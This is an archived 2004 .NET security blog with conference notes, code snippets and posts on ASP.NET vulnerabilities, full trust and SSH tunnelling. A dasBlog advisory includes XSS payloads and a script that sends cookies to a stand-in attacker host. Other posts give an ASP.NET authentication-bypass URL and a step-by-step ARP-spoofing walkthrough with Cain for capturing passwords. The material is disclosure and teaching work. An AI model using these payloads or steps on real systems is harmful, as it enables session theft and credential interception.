Saturday, October 30, 2004

Back Home

i had a great week at windev. this is such a nice conference.

i've seen some very interesting talks, met a lot of people for the first time, met a lot of people again - you know who you are - thanks for the quality time :)

thanks keith for having me! can't wait for our next mafia game :)

 


Work in Progress
Saturday, October 30, 2004 12:17:25 PM UTC  #   

WinDev: Improving Application Security through Penetration Testing

the slide for my penetration testing talk - all urls of the tools i showed are included in the slides.

Pentest.pdf (1,11 MB)

 


Conferences
Saturday, October 30, 2004 7:15:18 AM UTC  #   

WinDev : Designing Application Managed Authorization

as promised - the slides and source code for my talk about authorization

slides Authz.pdf (220,7 KB)

.NET IIdentity/IPrincipal Roles.zip (16,76 KB)

AzMan AzMan.zip (83,66 KB)

For a more detailed explanation of the AzMan source code - check out the accompanying articles on my blog (just search for AzMan).

thanks

 


Conferences
Saturday, October 30, 2004 7:02:26 AM UTC  #   
 Thursday, October 28, 2004

WinDev and Slides

whew. i had big fun in my two talks at WinDev. What a nice conference!

i have some problems uploading the slides from the hotel to this server. i will do it in the next days. just subscribe and stay tuned :)

thanks to everyone who attended.

 


Conferences
Thursday, October 28, 2004 7:35:34 PM UTC  #   
 Sunday, October 24, 2004

Off to WinDev

i am currently making my final preparations for WinDev (take care that all my tools and demos are working, preparing a VMWare image, going through the slides, trying to fight my excitement etc). I am leaving tomorrow.

 


Misc
Sunday, October 24, 2004 8:55:26 AM UTC  #   
 Wednesday, October 20, 2004

ACL Support in .NET 2.0

The new issue of MSDN Magazine is focused on Security - one article covers the new ACL support in .NET 2.0.

 


Security in Whidbey
Wednesday, October 20, 2004 3:07:56 AM UTC  #   
 Monday, October 11, 2004

OWASP-DOTNET Blog

I am proud to announce that we (my company ERNW) are hosting the blog of dinis cruz. This is the official OWASP-DOTNET blog - dedicated to .NET Security in general, and ASP.NET Security and Full Trust in particular.

subscribed!

 


Work in Progress
Monday, October 11, 2004 9:46:13 AM UTC  #   
 Sunday, October 10, 2004

Go to Definition in VS.NET 2005

I wanted to start a debug session and hit by accident F12 in VS.NET 2005 - a new tab opened up and showed me a C# class called String with the stubs of every public member of the System.String class + ToolTip in XML Code Comment format...

Wow. what's going on?

A little investigation turned up that F12 is mapped to the "Go to Definition" command which you normally get by clicking the right mouse button in source code view. In VS.NET 2003 this was normally used to navigate your source code.

Seems that in VS.NET 2005 every time this command can not navigate to the definition (typical VS.NET 2003 error message "Cannot navigate to xxx"), it shows a "C# View" of the public members of the type.

cool.

 


Whidbey General
Sunday, October 10, 2004 5:39:05 PM UTC  #   
 Wednesday, October 06, 2004

The official Word on the ASP.NET Vulnerability

MS says: http://www.microsoft.com/security/incident/aspnet.mspx

UPDATE
Though we could not reproduce it - Microsoft states that Windows 2003 and IIS6 are also affected...


Work in Progress
Wednesday, October 06, 2004 8:33:24 AM UTC  #   
 Saturday, October 02, 2004

Turning on Remote Desktop - remotely

if you want to turn on Remote Desktop on a WinXP or 2003 machine over the the network, this little WMIC command will help

wmic /NODE:Server /USER:administrator RDTOGGLE WHERE ServerName="Server" CALL SetAllowTSConnections 1

 


Work in Progress
Saturday, October 02, 2004 3:45:45 PM UTC  #   
 Friday, October 01, 2004

Advice on the ASP.NET Vulnerability

After some experimenting - i could also reproduce the same behaviour with Windows Authentication.

So the bug is not in Forms Authentication, it is a canonicalization error in the UrlAuthorization Module of ASP.NET.

The reason why Windows 2003 is not affected is, because of the built-in URL normalization in IIS6 - so the encoded URL never reaches the CLR. You can get the same result on Windows XP and Windows 2000 which are vulnerable (regardless the .NET Service Pack) by installing URLScan (considered best-practice on these platforms anyway). So do it!

UPDATE
Duncan Godwin posted a small HttpModule to the DevelopMentor DOTNET-WEB list which filters out those specific characters. works as a short term solution if you can't use URLScan or upgrade to IIS6


Work in Progress
Friday, October 01, 2004 10:23:36 AM UTC  #   
 Thursday, September 30, 2004

Even more Research on the ASP.NET Vulnerability

My previous post was based on an incomplete test scenario.

what i can say by now is - i can reproduce the bug on Windows XP with 1.1 and even 1.1 SP1.

i cannot reproduce the bug on Windows 2003 with and without the service pack.

you can try yourself if you are vulnerable. fritz hacked up a quick proof of concept web app. download it and try if the following url gives you "you shouldn't be able to see this without authenticating". FormSec.zip (12,84 KB)

http://localhost/formsec/secure%5Csecret.aspx

 


Work in Progress
Thursday, September 30, 2004 9:12:50 PM UTC  #   

More research on the ASP.NET Vulnerability

See this post for an update

This seems to be fixed in .NET 1.1 SP1

i could reproduce the vulnerability on V1.1.4322573 (which is plain 1.1) - but i couldn't reproduce it on V1.1.4322.2032 (which is 1.1 SP1)

so - patch those machines!

 


Work in Progress
Thursday, September 30, 2004 1:43:39 PM UTC  #   

Serious ASP.NET Forms Authentication Vulnerability

forwarded from OWASP-DOTNET read the whole story here for some examples of vulnerable and not vulnerable web.config settings.

It seems from the original mail that microsoft wasn't even contacted before disclosing this vulnerability which is extremely bad style.

this is serious!

 

Date: Tue, 14 Sep 2004 12:42:28 +0100
From: Toby Beaumont <toby:nospam.CREATOR.CO.UK>
Subject: Security bug in .NET Forms Authentication

Hi

We believe we have discovered a serious flaw in .NET forms authentication when used to secure sub folders.

A standard forms authentication setup requires the presence of "web.config"

to set the authentication method and login procedure. The presence of this file prevents access to certain files (.aspx files for example) unless authenticated.

Example

-------

The webroot for your website is:

c:\inetpub\wwwroot\mysite

You want to secure files in a sub directory "secure"

c:\inetpub\wwwroot\mysite\secure\web.config

A request to http://localhost/secure/somefile.aspx would then redirect the user to a predefined authentication page, as defined in web.config, before allowing the user access to "somefile.aspx".

Bug

---

1. Using Mozilla not IE, you make a request to http://localhost/secure\somefile.aspx
The use of a backslash rather than a forward slash appears to bypass the expected authentication model invoked in .NET forms authentication

2. Using IE, you make a request to http://localhost/secure\somefile.aspx -
IE automatically replaces the backslash "\" with a forward slash "/" and everything appears fine. However, replace the backslash "\" with %5C (%5C being hex value for \) and all is not so fine:

http://localhost/secure%5Csomefile.aspx

 


Work in Progress
Thursday, September 30, 2004 8:50:55 AM UTC  #   
 Tuesday, September 28, 2004

Fully Trusted Code and ASP.NET

There is quite a lot of talk recently about the dangers of fully trusted code. i can only agree.

Keith Brown gives some nice examples in his article "Beware of fully trusted code" what code can do if all CLR security measures are switched off (that's what full trust basically means), e.g.

  • Invoke private Methods using Reflection
  • Execute Methods in other AppDomains
  • Call Assert..or even turn of CAS all together for the current process

Isn't that kinda scary?

The CLR provides very powerful mechanisms for sandboxing code, e.g. loading code in question in a second (partial trust) AppDomain and use the CrossAppDomainChannel to communicate with this code (think of a plugin-type scenario). If you are at WinDev this year - check out Robert Hurlbut's talks about writing least privilege apps and hosting code in secure AppDomains.

Microsoft doesn't make it easy for us to design and test partially trusted code nowadays. This will get better in .NET 2.0.

One interesting aspect of this problem that merely noone seems to be aware of are fully trusted ASP.NET apps. ASP.NET Web Applications and Services (ASPX & ASMX) are fully trusted by default. So what - you might think...

Here's a selection of things fully trusted ASP.NET Code can do (thanks to Dinis Cruz from the OWASP project for his research on this topic):

  • Call out to unmanaged code, e.g. RevertToSelf (e.g. if impersonation is enabled, you can revert back to ASPNET or the worker process identity)
  • Reading and reflecting against assemblies of other web applications in the temporary ASP.NET folder
  • Spawning new processes via WIN32, WSH or WMI
  • Reading other web sites Metabase entries, e.g. the anonymous user and impersonate them (Metabase entries are ACLed so that IIS_WPG can read them by default)
  • Search the process space for Windows Tokens (e.g. from other web apps running in the same process but different AppDomains), grab them and impersonate.

This is especially important if you are sharing the Web Server with other parties (shared hosting environment, e.g. at ISPs or corporate Web Servers) - but also if you want to reduce the attack surface of a ASP.NET App/Service to minimize the risk of misuse.

.NET 1.1 introduced the possibility to run ASP.NET AppDomains in partial trust There are some pre-defines trust levels like full, high, medium and low which can be applied globally through machine.config or a per WebApp in web.config. Check out the brilliant "Threats and Countermeasures Paper" on the MSDN Patterns & Practices site for in-depth information, especially chapter 9.

Simply by adjusting the trust level to high resolves most of the problems, e.g. calling out to unmanaged code. cool - you may think. So ISPs only have to adjust the trust level in machine.config and everything is safe...

Unfortunately it is not that easy -

Even with partial trust you can still e.g. read from the temporary ASP.NET folder, but there is also some important stuff that won't work anymore - e.g. using OLEDB Providers.

Local Access Databases are the only easy way to do data driven Web Sites in shared hosting environments (the security of this solution is another story - if you are in doubt - try to access the .mdb file directly through your browser and see if it is downloadable). But this won't work anymore if the app doesn't have permissions to use OLEDB.

At first glance this only looks like you have to create a custom policy file and add the required OleDbPermission (as described in Threats and Countermeasures) - but the problem is buried deeper in the Runtime. The OleDb class not only demands the OleDbPermission but also has a Full Trust Link Demand. The only way to circumvent this problem (again described in TaCm) is to sandbox your database access code in the GAC with Full Trust and APTCA..again no solution for a shared hosting environment. So we are stuck here.

The SQL Server Provider runs fine in partial trust. So maybe with the advent of SQL Server 2005 and xcopy-deployed MDF files the situation will get better.

Another problem is, that not all framework libraries are allowed to be called by partially trusted code. Check out the above mentioned Keith Brown article for a list and his FindAPTC tool. WSE2 e.g. will not work in partial trust.

But if you have to share the server machine you should definitely demand a partial trust level as well as a W2K3 box (because of the worker process mode isolation), a seperate worker process (App Pool) and a seperate worker process account - but even then the admin of the box can do a vast array of misconfigurations that prevents a clean separation of the applications (NTFS and Metabase ACLs, location of temporary assemblies a.s.o).

If you want to experiment or test how much permissions/privileges your application has, i can recommend the OWASP tools - all available from http://www.owasp.org/software/dotnet.html

  • ASP.NET Security Analyzer (ANSA)
  • ASP.NET Baseline Security (ANBS)
  • Security Analyzer for Microsoft Shared Hosting Environment (SAM'SHE)
  • ..and a very good whitepaper about this topic (Secure Shared Hosting with IIS5)

aah - and btw - the first commercial product that came across my way that runs in partial trust by default is Microsoft's SharePoint Portal Server 2003 (which makes extensive use of 3rd party plugins called WebParts....)

Some further information/links about this topic:

 


Work in Progress
Tuesday, September 28, 2004 9:54:48 AM UTC  #   
 Tuesday, September 21, 2004

Go and Buy It!

the must-read book for .net developers is finally shipping!

 


Misc
Tuesday, September 21, 2004 6:10:23 PM UTC  #   
 Saturday, September 18, 2004

Pinging in Whidbey

saturday morning fun...

using System;
using System.Net.NetworkInformation;

class
WhidbeyPing
{
 
static void Main(string[] args)
  {
   
PingReply reply = new Ping().Send(args[0]);
   
Console.WriteLine("Reply from {0} - Roundtrip Time {1} ms", reply.Address,
                                                                                      reply.RoundTripTime);
  }
}

 


Whidbey General
Saturday, September 18, 2004 9:15:02 AM UTC  #   
 Friday, September 10, 2004

Converting C# to VB.NET

i currently have to convert code and some slide decks for a customer to this strange language that doesn't accept semicolons at the end...

most of the time this is a no-brainer - but a time consuming and annoying task.

I have found a web site with an online converter. Works quite well.

No i know what MS means with "simple and mechanical"......


Work in Progress
Friday, September 10, 2004 10:50:38 PM UTC  #   

Hack It!

Foundstone has released a sample web application written in ASP.NET / C# that simulates the most common vulnerabilities in todays HTTP based applications (cross site scripting, sql injection...).

You can instantly start hacking - or read the detailed how-to pdf thats included.

Have Fun :)


Work in Progress
Friday, September 10, 2004 7:37:42 AM UTC  #   
 Friday, September 03, 2004

New netstat options in XP SP2

Prior to Windows 2000 there was no built-in possibility to figure out which program on your system opened which port. You could use 'netstat -an' to list all open ports, but not which process or library has opened the ports. TcpView from SysInternals came to a rescue.

Starting with Windows XP and 2003 'netstat -ano' shows the ID of the process that opened the port. So you could modify your task manager view to include PIDs and figure it out that way.

XP SP2 adds new switches to netstat to directly show the program (plus the subcomponents) that opened the port. cool.

try 'netstat -b' for a overview and 'netstat -bv' for more detailed info.

I still can recommend TcpView and for the highest possible amount of in-sight use Process Explorer (which can even replace the task manager).


Work in Progress
Friday, September 03, 2004 9:44:30 AM UTC  #   
 Wednesday, September 01, 2004

Security Advisory : XSS Vulnerability in Newtelligence DasBlog

ERNW Security Advisory

Cross-Site Scripting Vulnerability in Newtelligence DasBlog

Author:
Dominick Baier <dbaier@ernw.de>

1. Summary:
A XSS (Cross-Site-Scripting) Vulnerability in DasBlog's Event and Activity Viewer allows to inject and execute code on the client's machine. This allows an attacker to transfer the ASP.NET authentication cookie to a server of his choice. The attacker can use this cookie to log on to DasBlog and modify blog entries and configuration settings.

2. Severity : Critical

3. Systems affected

DasBlog Versions:
 All

Browsers
 Tested with IE 6 and Firefox 0.93

4. Patch Availability / Vendor Instructions

5. Details

The Activity and Events Viewer show details about requests that were made to the blog site. As extra information they show the Referrers, Query Strings and User Agents of these requests. It is possible to specially malform those HTTP Headers to inject scripting code. This code gets embedded in the HTML pages and executed on the client. With specially crafted JavaScript code a attacker can transfer the ASP.NET Forms Authentication Cookie to a server of the his choice. While injecting this cookie in a HTTP request to DasBlog he can authenticate without having to know the username or the password and enter the administrative area.

Examples of script injections

<script>alert('XSS')</script>
<img%20src="javascript:alert('XSS')">
<img%20src=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;
alert(&quot;XSS&quot;)>

Leading e.g. to the following HTTP request

GET / HTTP/1.1
User-Agent: <script>alert('xss')</script>
Host: www.victim.com\r\n
Accept: */*


Example of transferring a cookie using JavaScript

<script>document.location='http://www.evil-site.com/cookieEater.aspx?cookie='+document.cookie</script>

6. Solution
Install the patch.

7. Time-Line
The vulnerability was found on the 15th August 2004. The author was contacted on the same day with a immediate response. The patch has been provided on the 30.August 2004

8. Disclaimer
 
The informations in this advisory are provided "AS IS" without warranty
of any kind. In no event shall the authors be liable for any damages
whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages due to the misuse of any
information provided in this advisory.


Work in Progress
Wednesday, September 01, 2004 6:15:45 AM UTC  #   
 Monday, August 30, 2004

SECURITY ALERT : XSS Vulnerability in dasBlog

Hi,

last week i found a Cross-Site Scripting vulnerability in dasBlog that allows to inject script code in certain administrative pages and to "steal" the administrative cookie.

I will post a detailed advisory later this week.

for now - if you use dasBlog get the patch and installations instructions here. ASAP.

Spread the word!


Work in Progress
Monday, August 30, 2004 8:37:42 AM UTC  #   
 Wednesday, August 25, 2004

LookOut only seems to work as Admin

i wasn't able to run LookOut as a Non-Admin. The Toolbar won't show up when logged on as a normal user.

This makes it fairly unusable for me :(

It's funny that Microsoft bought and released a product on their shopping tour that doesn't conform to their own Windows XP Logo Guidelines....

Has anyone managed to get this to work??


Work in Progress
Wednesday, August 25, 2004 7:15:24 AM UTC  #   
 Monday, August 23, 2004

Advanced Developers Conference

I am speaking at this year's Advanced Developers Conference.

The talk is called "Hackproofing your Windows 2003/IIS 6 Servers".
You can expect the following topics:

  • Hardening Windows 2003
  • Disable unused Services/Protocols
  • Minimize Attack Surface
  • Hardening IIS6
  • Common ASP.NET misconfigurations
  • Log Analysis
  • Secure Remote Administration
  • Tools, Tools, Tools

Other speakers include Ingo Rammer, Bernd Marquardt, Ralf Westphal, Christian Weyer, Michael Willers...

be there

Advanced Developers Conference
10.-11. November 2004
Ulm, Edwin-Scharff-Haus
Germany


Conferences | Work in Progress
Monday, August 23, 2004 12:31:43 PM UTC  #   
 Thursday, August 19, 2004

SeDebugPrivilege and Debugger Users

I recently read a story in a germany magazine about developing with Visual Studio under a non-Admin account. I am happy that this topic gets more and more press coverage so that people start to think about it.

But there still seems to be some confusion regarding the Debug privilege.

The article states that you need this privilege to attach to processes that run under a different account (that's right) and further says that the "Debugger Users" group, that gets generated by VS.NET install, has this privilege granted. So everyone who needs this privilege has just to be added to "Debugger Users".

That's not true. The "Debugger Users" group serves only one purpose. It gets checked by the Machine Debug Manager. Let me quote shaykatc:

"Visual Studio uses a service to do debugging called the MDM or Machine Debug Manager. This is one of the components installed by the remote debugging components. This is needed only by Visual Studio - so if you have the framework on your machine, or cordbg this doesnt apply. The MDM is the first gatekeeper - only two people are allowed to talk to it. Admins on the machine + members of the Debugger Users group (a group created on the machine when the mdm installs). The Debugger Users group is often misunderstood. It serves one function only - its members are allowed access to the MDM. It gives no other permission or privilege to you."

That would clarify why you still can't debug ASP.NET apps while being a member of this group.

"So lets say you add yourself to the Debugger users group and you are'nt an admin on the machine. Now comes the second test - the runtime rule for managed debugging. The rule is simple - if the managed process is running as you, or you are an admin on the machine, you can managed debug it. So now the debugger tries to attached to aspnet_wp.exe (which almost always runs as ASPNET/Network Service). You are'nt an admin so that check fails. You arent ASPNET/Network Service so that check fails too and you cant attach."

Granting SeDebugPrivilege to the developer would help here - but i wouldn't recommend it.

So why do i want to get rid of SeDebugPrivilege?
SeDebug is a very powerful privilege, it allows you to read the memory of other processes (including the Local Security Authority) and let's you even inject code in those processes.
The famous "LSADUMP" tool only needs this privilege to dump out all LSA Secrets.

My Home Office/Laptop Scenario
I mainly run as non-Admin to shield myself from some malware and to "self discipline" myself when writing code. I am running on my own hardware in my own domain. So it's my own choice

Corporate Scenario
Imagine a domain environment where you may have services running on the development machines that need a password (e.g. backup agent or remote admin software) of a local admin or even worse domain admin account. LSADUMP is your friend and shows you this password. A developer holding that privilege can do all sorts of other nasty things to the machine, believe me.
So running as non-Admin or not granting SeDebugPrivilege helps save the user from viruses, trojans etc - but also shields the Domain Environment from a malicious user (i recently had a customer which policy included the handling of SeDebugPrivilege for the Development Appartment - sadly, they got it wrong, too).

So how do i get rid of SeDebugPrivilege?

Well - that's not always easy. The main situation where debugging fails is when developing ASPX or ASMX projects.
I use the following solution (which only works on IIS 6)

  • Create a AppPool. Set the Identity of this AppPool to your account
  • Add your account to the IIS_WPG group
  • Add the ASP.NET Project to this AppPool

Now the Worker Process runs under your account and the Debugger has no problems attaching to it, even if you are not Admin - have SeDebugPrivilege.

The story is a little bit different under IIS5/5.1. You could make ASP.NET run under another account as ASPNET - you can configure that in machine.config - i assume this involves some testing and i haven't tried it yet - but it should work.

When you are doing Enterprise Services/COM+ development, you can run the COM+ Application under the interactive (your) account - or specifiy another account. so this works too.

 


Work in Progress
Thursday, August 19, 2004 9:00:10 AM UTC  #   
 Tuesday, August 17, 2004

ACL Support for .NET

came across my way today - looks useful.

"A C# library containing wrapper classes for ACL, ACE, Security descriptors, Security Attributes, Access tokens, etc. The archive also contains 3 samples: A "Task manager" WinForms application that uses the library to display token information of running processes and threads. A command line version of the same application. And finally, a demo application displaying the DACL of the "C:\boot.ini" file and creating a Win32 Event object with a security descriptor built using the library classes."

on gotdotnet


For Your Favourites
Tuesday, August 17, 2004 6:55:07 PM UTC  #   
 Friday, August 13, 2004

ARP Spoofing and XP SP2

I don't know what Microsoft has changed to the ARP cache behaviour...but

ARP spoofing attacks are still possible!

You can easily reproduce that (you need at least three machines - one could also be a router) -

  • Download and start Cain
  • Click "Configure" and select the appropriate network interface
  • Activate the Sniffer and go to the "Sniffer" Tab
  • Click the "+" Icon - Cain will now scan the subnet for all attached devices (in my case my laptop with XP SP2 installed and the cisco router which is my default gateway)
  • Go to the "APR Tab" (ARP Poisoning & Routing)
  • Click the "+" Icon
  • Now select the machine(s) which communication you wan to redirect to your machine (in my case i selected the laptop on the left and the router on the right)
  • Activate APR

That's it - now all the traffic between the router and the laptop passes my machine (even in a switched network). Cain can recognize and collect various passwords directly from the wire including ftp, http forms auth, telnet, pop3, sql server...you can see the collected passwords on the "Passwords" tab. Those passwords that need cracking can be sent with right-click "send to cracker" to a cracking module (e.g. ntlm, kerberos pre-authentication...).

To get more insight into the packets just fire up ethereal on your machine and you'll get the full story.

So whatever they did, those SP2 changes don't increase the protection from these attacks. maybe they make it harder to start an attack from SP2 - and then again this is as stupid as removing raw sockets...
In fact i already saw operating systems with working anti ARP spoofing measures, e.g. the Cisco IOS. If they see a ARP broadcast on the wire where someone pretends to be them they immediately send a bunch of correct ARP packets out on the network.

an excellent explanation of how ARP spoofing works can be found here.

btw - the only protection against ARP spoofing at the moment (on Windows) is to add static ARP entries in the cache, e.g. for your standard gateway with

arp -s IPAddress MACAdress

...but who does that?

 


Work in Progress
Friday, August 13, 2004 3:13:50 PM UTC  #   

NMAP Patch...And Changes to ARP

with the help of dana epp, fyodor has a patched version of nmap (nmap-3.55SP2) for download.

It seems that Microsoft also did some modification to the ARP cache. This was about time! Let's see how XPSP2 performs with some tools like arpspoof or Cain.

I don't have any details about the ARP changes, but i'll keep you informed.

 


Work in Progress
Friday, August 13, 2004 12:03:43 PM UTC  #   
 Thursday, August 12, 2004

NMAP is broken under XP SP2

Microsoft removed raw sockets from Windows XP SP2.

Before SP2 they were only available to Administrators and some people argued that with this powerful features Windows XP will be the "denial of service tool of choice for internet hackers everywhere"

There are several network tools that depend on that functionality, e.g. nmap.

I use nmap rather often so this was shocking for me - i gave it a try.

OK - most of the option i normally use still seem to work (i tested version 3.50 and not the newest 3.55). connect scan, stealth scan, version scan and fingerprinting seem to be OK (i also read other statements - but my first impression was good). what is broken are the IDS Evasion options like decoy scan or idle scanning (i think it's because nmap has to spoof ip addresses whith these kind of scans and that's were raw socket come into play...)

here's the official statement from fyodor.

UPDATE: Fellow DevelopMentor instructor Ian Griffiths wrote a nice summary and consclusion about this change.


Work in Progress
Thursday, August 12, 2004 2:01:39 PM UTC  #   
 Saturday, August 07, 2004

More on Windows 98 Compatibilty

i found an explanation why setting compatibility mode on mstsc.exe solves the "localhost" problem...(see here).

sounds reasonable:

"And why does this work? Well, my guess is that mstsc.exe uses something like the Win32 EnumServices API to check if you can run the service at all, and bars you from connecting to any of your network addresses (including, of course, localhost). Windows 98, however, does not have these APIs, and programs running under emulation under XP cannot access them."


Work in Progress
Saturday, August 07, 2004 9:17:52 PM UTC  #   
 Wednesday, August 04, 2004

Tunneling TCP Connections through SSH

SSH is much more than a "secure" alternative to telnet.

besides terminal services it supports:

  • Strong Encryption (AES-256, 3DES, Blowfish...)
  • Strong Authentication ((One Time) Passwords, Public Keys)
  • File Transfer
  • Port Forwarding

SSH is also not suspectible to Man-In-The-Middle attacks (besides the first ever logon to a server where you get the host key).

On top of that stable foundation, SSH can tunnel nearly every TCP protocol through his secure channel. This is especially interesting because you can forward insecure protocols like smtp or pop3 through the tunnel or add another layer of authentication to a protocol, e.g. key based authentication over a terminal services password logon.

And really cool about that - you only have to open the SSH port (TCP/22) on the firewall or local packet filter - all the other protocol get tunneled through this port. this radically reduces the attack surface.

to get up and running:

  • Get a copy of OpenSSH from Cygwin.
  • Install it on your server machine. This can be a little bit tricky - you have to pick Admin/Cygrunsrv and Net/OpenSSH from the tree. i would also recommend to install Doc/CygwinDoc and Editor/VIM (good old VI).
  • After installation start the Cygwin shell and execute "ssh-host-config -y". This will generate the keypair and set everything up.
  • Some versions of the installer vary if they ask you about setting up SSHD as a Windows Service. If you get asked say yes. If not run "cygrunsrv -S sshd".

you should now already be able to connect with "ssh localhost". SSH maps the initial passwd file to your Windows accounts.

If you want to have full SSH support und Unix feeling on the client, install Cygwin on your client machine. you just have to install it - no configuration of SSH is neccesary (as you only have to do that on servers).

A more lightweight alternative is to use putty as a SSH client. Putty has only 400K, is a single exe and does not have to be installed.

Port Forwarding
I use port forwarding in two cases.

1. to connect to my web server box using terminal services. you first open the tunnel with the following command

ssh -L3389:localhost:3389 user@192.168.0.5

this opens up a local listener on port 3389 and waits for incoming connections. Then SSH forwards all packets to the other end of the tunnel (in that case 192.168.0.5) to port 3389. All you have to do now is to fire up your Remote Desktop Client and connect to 127.0.0.1 (check my previous post)

2. to send and retrieve emails. you know that smtp and pop3 send everything in clear text. this includes your mails and your password. and - e.g. when i do a security class, there are always some guys that use those nasty tools i showed them to sniff MY traffic  (just to show me that they can do it). i certainly don't want to change my mail password after every class...and also i don't have to open port 110 (pop3) on my mail server.

to set up mail tunneling, use this command:

ssh -C -L 110:localhost:110 -L 25:localhost:25 user@192.168.0.5

now configure your outlook to contact smtp and pop3 servers on 127.0.0.1. Even if the tunnel is not running - your password will never leave your machine over the wire.

You can also use putty to set up forwarding. go to the Connection/SSH/Tunnel configuration page and create new entries in the port forwarding list. Choose a local port to listen on and choose localhost:destination_port as a destination.

 


Work in Progress
Wednesday, August 04, 2004 4:42:03 PM UTC  #   

Windows XP and Remote Desktop Connections to localhost

Hi,

a while ago i wrote a paper on how to tunnel terminal services through a ssh (secure shell) connection.

this solution had one problem -

it was required on the client side to connect with the Remote Desktop Client to localhost - but that isn't possible under Windows XP (and i didn't notice that at first because i only tested it on a client which had W2K3 installed).

As i have Windows XP on my laptop this bugged me because it is really a neat solution (more on that later) and i couldn't use it while being on the road.

Today i found an interesting document on that topic and a rather obscure (but working solution).

  1. Copy mstsc.exe and msctax.dll to another folder - i copied mine to \etc\tools. These files were (in my case) under \Program Files\Remote Desktop. That's because i installed the RD Client from the Windows 2003 CD
  2. Go to the properties of mstsc.exe and set a compatibility level of Windows 98
  3. That's it. Now you can connect to 127.0.0.1 with that "modified" version of mstsc.exe. Even "127.0.0.1:4000" is working - in case you set up the local forwarder port to 4000 (or something different than 3389)

I don't have the foggiest notion of what this compatibility setting does. but it does work.

The original (german) paper can be found here.

 


Work in Progress
Wednesday, August 04, 2004 3:00:20 PM UTC  #   
 Tuesday, August 03, 2004

Keith's Book-In-A-Wiki

The "new Keith Brown" is now completely online in a wiki.

great resource!

 


For Your Favourites
Tuesday, August 03, 2004 9:37:20 AM UTC  #   
 Monday, August 02, 2004

Network Change Events in .NET 1.1

UPDATE
i currently prepare the slides for my WMI talk at DevWeek. in case you wondered, this is the async version of the NetworkChangeWatcher:

static void Main(string[] args)
{
   WqlEventQuery query =
    new WqlEventQuery("__InstanceModificationEvent",
    new TimeSpan(0,0,5),
    "TargetInstance isa \"Win32_NetworkAdapterConfiguration\""); 

   ManagementEventWatcher eventWatcher = new ManagementEventWatcher(query);
     
   eventWatcher.EventArrived += new EventArrivedEventHandler(Delegate_EventArrived);
   
   // start listening for events
   eventWatcher.Start();
   Console.ReadLine();
}

private static void Delegate_EventArrived(object sender, EventArrivedEventArgs e)
{
   uint index = System.Convert.ToUInt32(((ManagementBaseObject)e.NewEvent["TargetInstance"])["Index"]);

   Console.WriteLine("NIC #{0} has changed its state", index); 
}

 

i had a look at the new System.Net.NetworkInformation namespace in whidbey. this looks promising!

if you are writing apps that have to be aware of network and connectivity changes you can accomplish the same as Whidbey's NetworkChange events with WMI Events.

You first have to create a WMI EventQuery. In our case this means: "tell me when a instance of the win32_NetworkAdaptedConfiguration class gets modified. I will ask you every 5 seconds." With the ManagementWatcher you create the transient event subscription.

The WaitForNextEvent() call is blocking, so you should run the subscription loop on a different thread or use the asynchronous WMI subscription service.

WqlEventQuery query =
    new WqlEventQuery("__InstanceModificationEvent",
    new TimeSpan(0,0,5),
    "TargetInstance isa \"Win32_NetworkAdapterConfiguration\"");

   ManagementEventWatcher watcher = new ManagementEventWatcher(query);
     

   // you could loop here 
   ManagementBaseObject evt = watcher.WaitForNextEvent();

   // retrieve the index of the network card that changed   
   uint index = System.Convert.ToUInt32(((ManagementBaseObject)evt["TargetInstance"])["Index"]);

   // create a WMI wrapper class
   ROOT.CIMV2.NetworkAdapterConfiguration nic = new NetWatcher.ROOT.CIMV2.NetworkAdapterConfiguration(index);
  
   Console.WriteLine("{0} : {1} / {2}", nic.Index, nic.IPAddress[0], nic.IPSubnet[0]);

   watcher.Stop();

 

btw - if you are doing WMI programming with Visual Studio you should check out the WMI Extensions.

did you notice the wrapper class in the above sample? it was generated by the WMI Extensions. To get this class:

  • Install the WMI Extensions
  • Open Visual Studio
  • New Project
  • Go to Server Explorer / Management Classes
  • Right Click -> Add Class
  • Drill down to root\CIMV2 : Network Adapter Settings
  • Click Add and OK
  • Right click on the new node -> Generate Managed Class

You can also call all WMI Methods trough the Server Explorer and test WMI Event Queries. useful stuff.

 


Work in Progress
Monday, August 02, 2004 2:04:47 PM UTC  #   
 Friday, July 30, 2004

System.Net.NetworkInformation

Today i read about a new Namespace in Whidbey.

This stuff is very useful. You can subscribe to notifications when network connectivity changes, obtain information about tcp/ip connections (like netstat) and more...

The System.Net.NetworkInformation namespace provides access to network traffic data, network address information, and notification of address changes for the local computer. The namespace also contains classes that implement the Ping utility. You can use Ping and related classes to check whether a computer is reachable across the network.


Whidbey General
Friday, July 30, 2004 11:53:40 AM UTC  #   
 Wednesday, July 28, 2004

"Generate Method Stub" rocks!

lately i have been playing around with VS.NET 2005 Beta 1 - and i must say : i love it. One day with the new IDE and you don't want to go back in time to 2003 :)

While coding the new Crypter sample with the new X509 classes i experimented a little bit with the refactoring support. i especially liked "Generate Method Stub". Never heard of "Intentional Programming" before - but this seems to be my way :)

Some examples:

static void Main(string[] args)
{
  string user = getUser();
}

Right Click on getUser() -> Generate Method Stub - and voila

private static string getUser()
{
  throw new NotImplementedException();
}

nice and static.

another one i liked:

Lib lib = new Lib();
string user = lib.GetUser();

click. VS now adds the GetUser Method to the referenced class. nice.

internal string GetUser()
{
  throw new NotImplementedException();
}

this one rocked my world:

public string[] AddUser(string UserName, string Password)
{
  // Add the User and return all Users
  return GetUsers();
}

click on GetUsers() and you get

private string[] GetUsers()
{
  throw new NotImplementedException();
}

nice work VS.NET Team!


Work in Progress
Wednesday, July 28, 2004 7:12:00 AM UTC  #   
 Monday, July 26, 2004

Book on Penetration Testing

My Co-Workers here at ERNW are currently working on a book on penetration testing for the german Vieweg Verlag.

Expect some wisdom and insight from Enno Rey and our CHO (Chief Hacking Officer) Michael Thumann.

I will throw in some stuff, too - mainly on windows and web security.

 


Work in Progress
Monday, July 26, 2004 7:46:47 PM UTC  #   
 Sunday, July 25, 2004

CrypterPK (The Public Key Crypto Edition)

CrypterPK uses the new Whidbey X509Store and X509CertificateEx classes to encrypt/decrypt files.

You can choose certificates from the Windows Certificate Store (MY and AddressBook) to encrypt the file. You can even choose multiple certificates. just like in PGP.

I think that's a feature that was missing in EFS. Who wants to write a shell extension for this ?

Compiled against Visual Studio 2005 Beta 1 but should be trivial to backport to .NET 1.1 and CAPICOM. CrypterPK.zip (46,24 KB)

 


Security in Whidbey | Tools | Tools for Thinktecture
Sunday, July 25, 2004 4:30:22 PM UTC  #   

The PrivBar and more on Non Admin

